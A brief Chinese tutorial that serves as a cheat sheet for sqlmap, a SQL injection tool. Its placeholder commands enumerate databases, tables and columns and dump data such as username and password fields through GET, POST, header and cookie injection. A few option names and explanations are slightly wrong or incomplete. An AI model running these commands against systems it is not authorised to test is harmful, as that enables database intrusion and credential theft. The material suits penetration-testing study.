sqlmap的使用方法

sqlmap使用

(运行环境:python 2.7)linux安装sqlmap: 

pip install sqlmap

GET请求方式

库名：sqlmap -u [url] -dbs 查出全部库名
           sqlmap -u [url] --current-db 查出当前使用的数据库
例：sqlmap -u url --current-db
表名：
sqlmap -u [url] -D [数据库名字] --tables
列名：
sqlmap -u [url] -D [数据库名字] -T [表名] --columns
数据：
sqlmap -u [url] -D [数据库名字] -T [表名] -C [字段],[字段] --dump

POST请求方式

使用burp把注入点抓出来，在注入点后面加上*

库名：
sqlmap -u url --data "uname=admin*&passwd=admin&submit=Submit" --current-db
表名：
sqlmap -u url --data "uname=admin*&passwd=admin&submit=Submit" -D [数据库名字] --tables
列名：
sqlmap -u url --data "uname=admin*&passwd=admin&submit=Submit" -D [数据库名字] -T [表名] --columns
数据：
sqlmap -u url --data "uname=admin*&passwd=admin&submit=Submit" -D [数据库名字] -T [表名] -C username,password --dump

http头注入

sqlmap -u "http://xxxxxx:8080/index.php" --user-agent="[user-agent信息]" --level 4 --dbs --batch --threads 10 --technique E

cookie注入

sqlmap -u "http://xxxxxx:8080/index.php" --cookie="[cookie值]" --level 4 --dbs --batch --threads 10 --technique BETS

优化：
--technique BETS（如果不知道使用哪一个，可以直接写BETS）
E = error01
T = time
B = blind

参考文章：https://www.cnblogs.com/bmjoker/p/9326258.html